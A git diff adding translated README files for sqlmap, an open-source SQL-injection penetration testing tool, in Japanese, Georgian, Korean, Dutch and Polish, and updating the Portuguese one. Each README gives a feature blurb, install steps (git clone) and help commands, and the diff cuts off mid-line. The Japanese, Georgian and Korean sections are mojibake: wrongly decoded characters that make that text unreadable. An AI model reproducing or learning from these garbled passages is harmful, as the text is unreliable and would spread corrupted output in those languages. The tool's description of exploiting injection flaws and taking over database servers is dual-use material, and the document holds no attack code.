+sqlmapã¯ã‚ªãƒ¼ãƒ—ンソースã®ãƒšãƒãƒˆãƒ¬ãƒ¼ã‚·ãƒ§ãƒ³ãƒ†ã‚¹ãƒ†ã‚£ãƒ³ã‚°ãƒ„ールã§ã™ã€‚SQLインジェクションã®è„†å¼±æ€§ã®æ¤œå‡ºã€æ´»ç”¨ã€ãã—ã¦ãƒ‡ãƒ¼ã‚¿ãƒ™ãƒ¼ã‚¹ã‚µãƒ¼ãƒå¥ªå–ã®ãƒ—ロセスを自動化ã—ã¾ã™ã€‚ +強力ãªæ¤œå‡ºã‚¨ãƒ³ã‚¸ãƒ³ã€ãƒšãƒãƒˆãƒ¬ãƒ¼ã‚·ãƒ§ãƒ³ãƒ†ã‚¹ã‚¿ãƒ¼ã®ãŸã‚ã®å¤šãã®ãƒ‹ãƒƒãƒæ©Ÿèƒ½ã€æŒç¶šçš„ãªãƒ‡ãƒ¼ã‚¿ãƒ™ãƒ¼ã‚¹ã®ãƒ•ã‚£ãƒ³ã‚¬ãƒ¼ãƒ—リンティングã‹ã‚‰ã€ãƒ‡ãƒ¼ã‚¿ãƒ™ãƒ¼ã‚¹ã®ãƒ‡ãƒ¼ã‚¿å–得やアウトオブãƒãƒ³ãƒ‰æŽ¥ç¶šã‚’介ã—ãŸã‚ªãƒšãƒ¬ãƒ¼ãƒ†ã‚£ãƒ³ã‚°ãƒ»ã‚·ã‚¹ãƒ†ãƒ ä¸Šã§ã®ã‚³ãƒžãƒ³ãƒ‰å®Ÿè¡Œã€ãƒ•ã‚¡ã‚¤ãƒ«ã‚·ã‚¹ãƒ†ãƒ ã¸ã®ã‚¢ã‚¯ã‚»ã‚¹ãªã©ã®åºƒç¯„囲ã«åŠã¶ã‚¹ã‚¤ãƒƒãƒã‚’æä¾›ã—ã¾ã™ã€‚ + +スクリーンショット +---- + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +wikiã«è¼‰ã£ã¦ã„ã‚‹ã„ãã¤ã‹ã®æ©Ÿèƒ½ã®ãƒ‡ãƒ¢ã‚’スクリーンショットã§è¦‹ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚ [スクリーンショット集](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) + +インストール +---- + +最新ã®tarballã‚’ [ã“ã¡ã‚‰](https://github.com/sqlmapproject/sqlmap/tarball/master) ã‹ã‚‰ã€æœ€æ–°ã®zipballã‚’ [ã“ã¡ã‚‰](https://github.com/sqlmapproject/sqlmap/zipball/master) ã‹ã‚‰ãƒ€ã‚¦ãƒ³ãƒ­ãƒ¼ãƒ‰ã§ãã¾ã™ã€‚ + +[Git](https://github.com/sqlmapproject/sqlmap) レãƒã‚¸ãƒˆãƒªã‚’クローンã—ã¦ã€sqlmapをダウンロードã™ã‚‹ã“ã¨ã‚‚å¯èƒ½ã§ã™ã€‚: + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmapã¯ã€ [Python](https://www.python.org/download/) ãƒãƒ¼ã‚¸ãƒ§ãƒ³ **2.7** ã¾ãŸã¯ **3.x** ãŒã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã•ã‚Œã¦ã„ã‚Œã°ã€å…¨ã¦ã®ãƒ—ラットフォームã§ã™ãã«ä½¿ç”¨ã§ãã¾ã™ã€‚ + +使用方法 +---- + +基本的ãªã‚ªãƒ—ションã¨ã‚¹ã‚¤ãƒƒãƒã®ä½¿ç”¨æ–¹æ³•ã‚’リストã§å–å¾—ã™ã‚‹ã«ã¯: + + python sqlmap.py -h + +å…¨ã¦ã®ã‚ªãƒ—ションã¨ã‚¹ã‚¤ãƒƒãƒã®ä½¿ç”¨æ–¹æ³•ã‚’リストã§å–å¾—ã™ã‚‹ã«ã¯: + + python sqlmap.py -hh + +実行例を [ã“ã¡ã‚‰](https://asciinema.org/a/46601) ã§è¦‹ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚ +sqlmapã®æ¦‚è¦ã€æ©Ÿèƒ½ã®ä¸€è¦§ã€å…¨ã¦ã®ã‚ªãƒ—ションやスイッãƒã®ä½¿ç”¨æ–¹æ³•ã‚’例ã¨ã¨ã‚‚ã«ã€ [ユーザーマニュアル](https://github.com/sqlmapproject/sqlmap/wiki/Usage) ã§ç¢ºèªã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚ + +リンク +---- + +* ホームページ: https://sqlmap.org +* ダウンロード: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* コミットã®RSSフィード: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* 課題管ç†: https://github.com/sqlmapproject/sqlmap/issues +* ユーザーマニュアル: https://github.com/sqlmapproject/sqlmap/wiki +* よãã‚ã‚‹è³ªå• (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* デモ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* プレイグラウンド: https://sekumart.sekuripy.hr +* スクリーンショット: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-ka-GE.md b/doc/translations/README-ka-GE.md new file mode 100644 index 00000000000..419a9742545 --- /dev/null +++ b/doc/translations/README-ka-GE.md @@ -0,0 +1,50 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +sqlmap áƒáƒ áƒ˜áƒ¡ შეღწევáƒáƒ“áƒáƒ‘ის ტესტირებისáƒáƒ—ვის გáƒáƒœáƒ™áƒ£áƒ—ვილი ინსტრუმენტი, რáƒáƒ›áƒšáƒ˜áƒ¡ კáƒáƒ“იც ღიáƒáƒ“ áƒáƒ áƒ˜áƒ¡ ხელმისáƒáƒ¬áƒ•áƒ“áƒáƒ›áƒ˜. ინსტრუმენტი áƒáƒ®áƒ“ენს SQL-ინექციის სისუსტეების áƒáƒ¦áƒ›áƒáƒ©áƒ”ნისáƒ, გáƒáƒ›áƒáƒ§áƒ”ნების დრმáƒáƒœáƒáƒªáƒ”მთრბáƒáƒ–áƒáƒ—რსერვერების დáƒáƒ£áƒ¤áƒšáƒ”ბის პრáƒáƒªáƒ”სების áƒáƒ•áƒ¢áƒáƒ›áƒáƒ¢áƒ˜áƒ–áƒáƒªáƒ˜áƒáƒ¡. იგი áƒáƒ¦áƒ­áƒ£áƒ áƒ•áƒ˜áƒšáƒ˜áƒ მძლáƒáƒ•áƒ áƒ˜ áƒáƒ¦áƒ›áƒáƒ›áƒ©áƒ”ნი მექáƒáƒœáƒ˜áƒ«áƒ›áƒ˜áƒ—, შეღწევáƒáƒ“áƒáƒ‘ის პრáƒáƒ¤áƒ”სიáƒáƒœáƒáƒšáƒ˜ ტესტერისáƒáƒ—ვის შესáƒáƒ¤áƒ”რისი ბევრი ფუნქციით დრსკრიპტების ფáƒáƒ áƒ—რსპექტრით, რáƒáƒ›áƒšáƒ”ბიც შეიძლებრგáƒáƒ›áƒáƒ§áƒ”ნებულ იქნეს მრáƒáƒ•áƒáƒšáƒ˜ მიზნით, მáƒáƒ— შáƒáƒ áƒ˜áƒ¡: მáƒáƒœáƒáƒªáƒ”მთრბáƒáƒ–იდáƒáƒœ მáƒáƒœáƒáƒªáƒ”მების შეგრáƒáƒ•áƒ”ბისáƒáƒ—ვის, ძირითáƒáƒ“ სáƒáƒ¤áƒáƒ˜áƒšáƒ სისტემáƒáƒ–ე წვდáƒáƒ›áƒ˜áƒ¡áƒáƒ—ვის დრout-of-band კáƒáƒ•áƒ¨áƒ˜áƒ áƒ”ბის გზით áƒáƒžáƒ”რáƒáƒªáƒ˜áƒ£áƒš სისტემáƒáƒ¨áƒ˜ ბრძáƒáƒœáƒ”ბáƒáƒ—რშესრულებისáƒáƒ—ვის. + +ეკრáƒáƒœáƒ˜áƒ¡ áƒáƒœáƒáƒ‘ეჭდები +---- + +![ეკრáƒáƒœáƒ˜áƒ¡ áƒáƒœáƒáƒ‘ეჭდი](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +შეგიძლიáƒáƒ— ესტუმრáƒáƒ— [ეკრáƒáƒœáƒ˜áƒ¡ áƒáƒœáƒáƒ‘ეჭდთრკáƒáƒšáƒ”ქციáƒáƒ¡](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), სáƒáƒ“áƒáƒª დემáƒáƒœáƒ¡áƒ¢áƒ áƒ˜áƒ áƒ”ბულირინსტრუმენტის ზáƒáƒ’იერთი ფუნქციáƒ. + +ინსტáƒáƒšáƒáƒªáƒ˜áƒ +---- + +თქვენ შეგიძლიáƒáƒ— უáƒáƒ®áƒšáƒ”სი tar-áƒáƒ áƒ¥áƒ˜áƒ•áƒ˜áƒ¡ ჩáƒáƒ›áƒáƒ¢áƒ•áƒ˜áƒ áƒ—ვრ[áƒáƒ¥](https://github.com/sqlmapproject/sqlmap/tarball/master) დáƒáƒ¬áƒ™áƒáƒžáƒ£áƒœáƒ”ბით, áƒáƒœ უáƒáƒ®áƒšáƒ”სი zip-áƒáƒ áƒ¥áƒ˜áƒ•áƒ˜áƒ¡ ჩáƒáƒ›áƒáƒ¢áƒ•áƒ˜áƒ áƒ—ვრ[áƒáƒ¥](https://github.com/sqlmapproject/sqlmap/zipball/master) დáƒáƒ¬áƒ™áƒáƒžáƒ£áƒœáƒ”ბით. + +áƒáƒ¡áƒ”ვე შეგიძლიáƒáƒ— (დრსáƒáƒ¡áƒ£áƒ áƒ•áƒ”ლიáƒ) sqlmap-ის ჩáƒáƒ›áƒáƒ¢áƒ•áƒ˜áƒ áƒ—ვრ[Git](https://github.com/sqlmapproject/sqlmap)-სáƒáƒªáƒáƒ•áƒ˜áƒ¡ (repository) კლáƒáƒœáƒ˜áƒ áƒ”ბით: + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap ნებისმიერ პლáƒáƒ¢áƒ¤áƒáƒ áƒ›áƒáƒ–ე მუშáƒáƒáƒ‘ს [Python](https://www.python.org/download/)-ის **2.7** დრ**3.x** ვერსიებთáƒáƒœ. + +გáƒáƒ›áƒáƒ§áƒ”ნებრ+---- + +ძირითáƒáƒ“ი ვáƒáƒ áƒ˜áƒáƒœáƒ¢áƒ”ბისრდრპáƒáƒ áƒáƒ›áƒ”ტრების ჩáƒáƒ›áƒáƒœáƒáƒ—ვáƒáƒšáƒ˜áƒ¡ მისáƒáƒ¦áƒ”ბáƒáƒ“ გáƒáƒ›áƒáƒ˜áƒ§áƒ”ნეთ ბრძáƒáƒœáƒ”ბáƒ: + + python sqlmap.py -h + +ვáƒáƒ áƒ˜áƒáƒœáƒ¢áƒ”ბისრდრპáƒáƒ áƒáƒ›áƒ”ტრების სრული ჩáƒáƒ›áƒáƒœáƒáƒ—ვáƒáƒšáƒ˜áƒ¡ მისáƒáƒ¦áƒ”ბáƒáƒ“ გáƒáƒ›áƒáƒ˜áƒ§áƒ”ნეთ ბრძáƒáƒœáƒ”ბáƒ: + + python sqlmap.py -hh + +გáƒáƒ›áƒáƒ§áƒ”ნების მáƒáƒ áƒ¢áƒ˜áƒ•áƒ˜ მáƒáƒ’áƒáƒšáƒ˜áƒ—ი შეგიძლიáƒáƒ— იხილáƒáƒ— [áƒáƒ¥](https://asciinema.org/a/46601). sqlmap-ის შესáƒáƒ«áƒšáƒ”ბლáƒáƒ‘áƒáƒ—რმიმáƒáƒ®áƒ˜áƒšáƒ•áƒ˜áƒ¡, მხáƒáƒ áƒ“áƒáƒ­áƒ”რილი ფუნქციáƒáƒœáƒáƒšáƒ˜áƒ¡áƒ დრყველრვáƒáƒ áƒ˜áƒáƒœáƒ¢áƒ˜áƒ¡ áƒáƒ¦áƒ¬áƒ”რების მისáƒáƒ¦áƒ”ბáƒáƒ“ გáƒáƒ›áƒáƒ§áƒ”ნების მáƒáƒ’áƒáƒšáƒ˜áƒ—ებთáƒáƒœ ერთáƒáƒ“, გირჩევთ, იხილáƒáƒ— [მáƒáƒ›áƒ®áƒ›áƒáƒ áƒ”ბლის სáƒáƒ®áƒ”ლმძღვáƒáƒœáƒ”ლáƒ](https://github.com/sqlmapproject/sqlmap/wiki/Usage). + +ბმულები +---- + +* სáƒáƒ¬áƒ§áƒ˜áƒ¡áƒ˜ გვერდი: https://sqlmap.org +* ჩáƒáƒ›áƒáƒ¢áƒ•áƒ˜áƒ áƒ—ვáƒ: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) áƒáƒœ [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* RSS áƒáƒ áƒ®áƒ˜: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* პრáƒáƒ‘ლემებისáƒáƒ—ვის თვáƒáƒšáƒ§áƒ£áƒ áƒ˜áƒ¡ დევნებáƒ: https://github.com/sqlmapproject/sqlmap/issues +* მáƒáƒ›áƒ®áƒ›áƒáƒ áƒ”ბლის სáƒáƒ®áƒ”ლმძღვáƒáƒœáƒ”ლáƒ: https://github.com/sqlmapproject/sqlmap/wiki +* ხშირáƒáƒ“ დáƒáƒ¡áƒ›áƒ£áƒšáƒ˜ კითხვები (ხდკ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* დემáƒáƒœáƒ¡áƒ¢áƒ áƒáƒªáƒ˜áƒ”ბი: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* სáƒáƒ•áƒáƒ áƒ¯áƒ˜áƒ¨áƒ სივრცე: https://sekumart.sekuripy.hr +* ეკრáƒáƒœáƒ˜áƒ¡ áƒáƒœáƒáƒ‘ეჭდები: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-ko-KR.md b/doc/translations/README-ko-KR.md new file mode 100644 index 00000000000..ab612d4afe8 --- /dev/null +++ b/doc/translations/README-ko-KR.md @@ -0,0 +1,51 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +sqlmapì€ SQL ì¸ì ì…˜ 결함 íƒì§€ ë° í™œìš©, ë°ì´í„°ë² ì´ìŠ¤ 서버 장악 프로세스를 ìžë™í™” 하는 오픈소스 침투 테스팅 ë„구입니다. ìµœê³ ì˜ ì¹¨íˆ¬ 테스터, ë°ì´í„°ë² ì´ìŠ¤ 핑거프린팅 부터 ë°ì´í„°ë² ì´ìŠ¤ ë°ì´í„° ì½ê¸°, 대역 외 ì—°ê²°ì„ í†µí•œ 기반 íŒŒì¼ ì‹œìŠ¤í…œ ì ‘ê·¼ ë° ëª…ë ¹ì–´ ì‹¤í–‰ì— ê±¸ì¹˜ëŠ” 광범위한 ìŠ¤ìœ„ì¹˜ë“¤ì„ ìœ„í•œ 강력한 íƒì§€ 엔진과 ë‹¤ìˆ˜ì˜ íŽ¸ë¦¬í•œ ê¸°ëŠ¥ì´ íƒ‘ìž¬ë˜ì–´ 있습니다. + +스í¬ë¦°ìƒ· +---- + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +ë˜ëŠ”, wikiì— ë‚˜ì™€ìžˆëŠ” 몇몇 ê¸°ëŠ¥ì„ ë³´ì—¬ì£¼ëŠ” [스í¬ë¦°ìƒ· 모ìŒ](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) ì„ ë°©ë¬¸í•˜ì‹¤ 수 있습니다. + +설치 +---- + +[여기](https://github.com/sqlmapproject/sqlmap/tarball/master)를 í´ë¦­í•˜ì—¬ 최신 ë²„ì „ì˜ tarball 파ì¼, ë˜ëŠ” [여기](https://github.com/sqlmapproject/sqlmap/zipball/master)를 í´ë¦­í•˜ì—¬ 최신 zipball 파ì¼ì„ 다운받으실 수 있습니다. + +가장 선호ë˜ëŠ” 방법으로, [Git](https://github.com/sqlmapproject/sqlmap) 저장소를 복제하여 sqlmapì„ ë‹¤ìš´ë¡œë“œ í•  수 있습니다: + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmapì€ [Python](https://www.python.org/download/) 버전 **2.7** 그리고 **3.x** ì„ í†µí•´ 모든 í”Œëž«í¼ ìœ„ì—ì„œ 사용 가능합니다. + +사용법 +---- + +기본 옵션과 스위치 목ë¡ì„ 보려면 ë‹¤ìŒ ëª…ë ¹ì–´ë¥¼ 사용하세요: + + python sqlmap.py -h + +ì „ì²´ 옵션과 스위치 목ë¡ì„ 보려면 ë‹¤ìŒ ëª…ë ¹ì–´ë¥¼ 사용하세요: + + python sqlmap.py -hh + +[여기](https://asciinema.org/a/46601)를 통해 사용 ìƒ˜í”Œë“¤ì„ í™•ì¸í•  수 있습니다. +sqlmapì˜ ëŠ¥ë ¥, 지ì›ë˜ëŠ” 기능과 모든 옵션과 ìŠ¤ìœ„ì¹˜ë“¤ì˜ ëª©ë¡ì„ 예제와 함께 보려면, [ì‚¬ìš©ìž ë§¤ë‰´ì–¼](https://github.com/sqlmapproject/sqlmap/wiki/Usage)ì„ ì°¸ê³ í•˜ì‹œê¸¸ 권장드립니다. + +ë§í¬ +---- + +* 홈페ì´ì§€: https://sqlmap.org +* 다운로드: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* RSS 피드 커밋: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues +* ì‚¬ìš©ìž ë§¤ë‰´ì–¼: https://github.com/sqlmapproject/sqlmap/wiki +* ìžì£¼ 묻는 질문 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* 트위터: [@sqlmap](https://x.com/sqlmap) +* 시연 ì˜ìƒ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* 플레ì´ê·¸ë¼ìš´ë“œ: https://sekumart.sekuripy.hr +* 스í¬ë¦°ìƒ·: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-nl-NL.md b/doc/translations/README-nl-NL.md new file mode 100644 index 00000000000..d04fda2abe2 --- /dev/null +++ b/doc/translations/README-nl-NL.md @@ -0,0 +1,51 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +sqlmap is een open source penetratie test tool dat het proces automatiseert van het detecteren en exploiteren van SQL injectie fouten en het overnemen van database servers. Het wordt geleverd met een krachtige detectie-engine, vele niche-functies voor de ultieme penetratietester, en een breed scala aan switches, waaronder database fingerprinting, het overhalen van gegevens uit de database, toegang tot het onderliggende bestandssysteem, en het uitvoeren van commando's op het besturingssysteem via out-of-band verbindingen. + +Screenshots +---- + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +Je kunt de [collectie met screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) bezoeken voor een demonstratie van sommige functies in the wiki. + +Installatie +---- + +Je kunt de laatste tarball installeren door [hier](https://github.com/sqlmapproject/sqlmap/tarball/master) te klikken of de laatste zipball door [hier](https://github.com/sqlmapproject/sqlmap/zipball/master) te klikken. + +Bij voorkeur, kun je sqlmap downloaden door de [Git](https://github.com/sqlmapproject/sqlmap) repository te clonen: + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap werkt op alle platformen met de volgende [Python](https://www.python.org/download/) versies: **2.7** en **3.x**. + +Gebruik +---- + +Om een lijst van basisopties en switches te krijgen gebruik: + + python sqlmap.py -h + +Om een lijst van alle opties en switches te krijgen gebruik: + + python sqlmap.py -hh + +Je kunt [hier](https://asciinema.org/a/46601) een proefrun vinden. +Voor een overzicht van de mogelijkheden van sqlmap, een lijst van ondersteunde functies, en een beschrijving van alle opties en switches, samen met voorbeelden, wordt u aangeraden de [gebruikershandleiding](https://github.com/sqlmapproject/sqlmap/wiki/Usage) te raadplegen. + +Links +---- + +* Homepage: https://sqlmap.org +* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) of [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Probleem tracker: https://github.com/sqlmapproject/sqlmap/issues +* Gebruikers handleiding: https://github.com/sqlmapproject/sqlmap/wiki +* Vaak gestelde vragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Speeltuin: https://sekumart.sekuripy.hr +* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-pl-PL.md b/doc/translations/README-pl-PL.md new file mode 100644 index 00000000000..0644def1b64 --- /dev/null +++ b/doc/translations/README-pl-PL.md @@ -0,0 +1,51 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +sqlmap to open sourceowe narzÄ™dzie do testów penetracyjnych, które automatyzuje procesy detekcji, przejmowania i testowania odpornoÅ›ci serwerów SQL na podatność na iniekcjÄ™ niechcianego kodu. Zawiera potężny mechanizm detekcji, wiele niszowych funkcji dla zaawansowanych testów penetracyjnych oraz szeroki wachlarz opcji poczÄ…wszy od identyfikacji bazy danych, poprzez wydobywanie z niej danych, a nawet pozwalajÄ…cych na dostÄ™p do systemu plików oraz wykonywanie poleceÅ„ w systemie operacyjnym serwera poprzez niestandardowe poÅ‚Ä…czenia. + +Zrzuty ekranu +---- + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +Możesz odwiedzić [kolekcjÄ™ zrzutów](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrujÄ…cÄ… na wiki niektóre możliwoÅ›ci. + +Instalacja +---- + +Najnowsze tarball archiwum jest dostÄ™pne po klikniÄ™ciu [tutaj](https://github.com/sqlmapproject/sqlmap/tarball/master) lub najnowsze zipball archiwum po klikniÄ™ciu [tutaj](https://github.com/sqlmapproject/sqlmap/zipball/master). + +Można również pobrać sqlmap klonujÄ…c rezozytorium [Git](https://github.com/sqlmapproject/sqlmap): + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +do użycia sqlmap potrzebny jest [Python](https://www.python.org/download/) w wersji **2.7** lub **3.x** na dowolnej platformie systemowej. + +Sposób użycia +---- + +Aby uzyskać listÄ™ podstawowych funkcji i parametrów użyj polecenia: + + python sqlmap.py -h + +Aby uzyskać listÄ™ wszystkich funkcji i parametrów użyj polecenia: + + python sqlmap.py -hh + +PrzykÅ‚adowy wynik dziaÅ‚ania można znaleźć [tutaj](https://asciinema.org/a/46601). +Aby uzyskać listÄ™ wszystkich dostÄ™pnych funkcji, parametrów oraz opisów ich dziaÅ‚ania wraz z przykÅ‚adami użycia sqlmap zalecamy odwiedzić [instrukcjÄ™ użytkowania](https://github.com/sqlmapproject/sqlmap/wiki/Usage). + +OdnoÅ›niki +---- + +* Strona projektu: https://sqlmap.org +* Pobieranie: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) lub [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* ZgÅ‚aszanie bÅ‚Ä™dów: https://github.com/sqlmapproject/sqlmap/issues +* Instrukcja użytkowania: https://github.com/sqlmapproject/sqlmap/wiki +* CzÄ™sto zadawane pytania (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* Dema: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Piaskownica: https://sekumart.sekuripy.hr +* Zrzuty ekranu: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-pt-BR.md b/doc/translations/README-pt-BR.md index 63a0bafc8f8..462f7497cca 100644 --- a/doc/translations/README-pt-BR.md +++ b/doc/translations/README-pt-BR.md @@ -1,7 +1,8 @@ -sqlmap -== +# sqlmap ![](https://i.imgur.com/fe85aVR.png) -sqlmap é uma ferramenta de teste de penetração de código aberto que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de penetração por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional. +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +sqlmap é uma ferramenta de teste de intrusão, de código aberto, que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de intrusão por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional. Imagens ---- @@ -13,14 +14,13 @@ Você pode visitar a [coleção de imagens](https://github.com/sqlmapproject/sql Instalação ---- -Você pode baixar o arquivo tar mais recente clicando [aqui] -(https://github.com/sqlmapproject/sqlmap/tarball/master) ou o arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master). +Você pode baixar o arquivo tar mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/tarball/master) ou o arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master). De preferência, você pode baixar o sqlmap clonando o repositório [Git](https://github.com/sqlmapproject/sqlmap): - git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap funciona em [Python](http://www.python.org/download/) nas versões **2.6.x** e **2.7.x** em todas as plataformas. +sqlmap funciona em [Python](https://www.python.org/download/) nas versões **2.7** e **3.x** em todas as plataformas. Como usar ---- @@ -33,21 +33,19 @@ Para obter a lista completa de opções faça: python sqlmap.py -hh -Você pode encontrar alguns exemplos [aqui](https://gist.github.com/stamparm/5335217). +Você pode encontrar alguns exemplos [aqui](https://asciinema.org/a/46601). Para ter uma visão geral dos recursos do sqlmap, lista de recursos suportados e a descrição de todas as opções, juntamente com exemplos, aconselhamos que você consulte o [manual do usuário](https://github.com/sqlmapproject/sqlmap/wiki). Links ---- -* Homepage: http://sqlmap.org +* Homepage: https://sqlmap.org * Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ou [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * Manual do Usuário: https://github.com/sqlmapproject/sqlmap/wiki * Perguntas frequentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Mailing list subscription: https://lists.sourceforge.net/lists/listinfo/sqlmap-users -* Mailing list RSS feed: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap -* Mailing list archive: http://news.gmane.org/gmane.comp.security.sqlmap -* Twitter: [@sqlmap](https://twitter.com/sqlmap) -* Demonstrações: [#1](http://www.youtube.com/user/inquisb/videos) e [#2](http://www.youtube.com/user/stamparm/videos) +* X: 